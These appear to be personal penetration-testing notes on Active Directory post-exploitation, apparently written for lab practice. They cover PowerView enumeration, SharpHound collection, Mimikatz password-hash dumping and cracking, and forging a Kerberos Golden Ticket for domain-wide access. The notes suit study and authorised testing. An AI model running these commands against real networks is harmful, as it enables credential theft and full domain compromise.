> For the complete documentation index, see [llms.txt](https://hexisanoob.gitbook.io/hexisanoob/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hexisanoob.gitbook.io/hexisanoob/enum-and-initial-compromise/active-directory-basics/priv-esc-post-exploitation.md).

# Priv Esc (Post Exploitation)

## Powerview

PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. Powerview is a part of Powersploit.

powershell -ep bypass

. .\PowerView\.ps1

`Enumerate Domain users: Get-NetUser | select cn`

`Enumerate Domain Groups: Get-NetGroup -GroupName admin`

`Find other OS running in the enterprise: Get-NetComputer -fulldata | select operatingsystem`

`Find shares: Invoke-ShareFinder`

`Find text files:` Select-String -Path C:\Users\*.txt -pattern \<pattern>

## Bloodhound and Sharphound

Installation:

`apt-get install bloodhound`

`neo4j console => default credentials -> neo4j:neo4j`

On the victim machine we need to download [sharphound](https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1) and then:

`powershell -ep bypass`\
`. .\Downloads\SharpHound.ps1`\
`Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip`

Then we transfer the zip file to local system and run bloodhound

`bloodhound`

<div align="left"><img src="/files/TrqzMVTkLhZSvnYN2cgL" alt=""></div>

## Dump hashes w/ Mimikatz

`mimikatz.exe`\
`privilege::debug`\
`lsadump::lsa /patch`\
`hashcat -m 1000 rockyou.txt`

## Create Golden Ticket w/ Mimikatz

`lsadump::lsa /inject /name:krbtgt`

Take a note of the items marked in red, as they will be required in the next command

<div align="left"><img src="/files/aZLo307DACg0ofiVwva7" alt=""></div>

`kerberos::golden /user:<Administrator> /domain:<controller.local> /sid:<s-1-5-....*> /krbtgt:<NTLM> /id:1103`

**Use the Golden Ticket to access other machine -**

`misc::cmd` - This will open a new command prompt with elevated privileges to all machines

Access other Machines! - You will now have another command prompt with access to all other machines on the network

<div align="left"><img src="https://i.imgur.com/BYSud9C.png" alt=""></div>

<div align="left"><img src="/files/2StIeM9bWtDmzxT9MdsK" alt=""></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hexisanoob.gitbook.io/hexisanoob/enum-and-initial-compromise/active-directory-basics/priv-esc-post-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
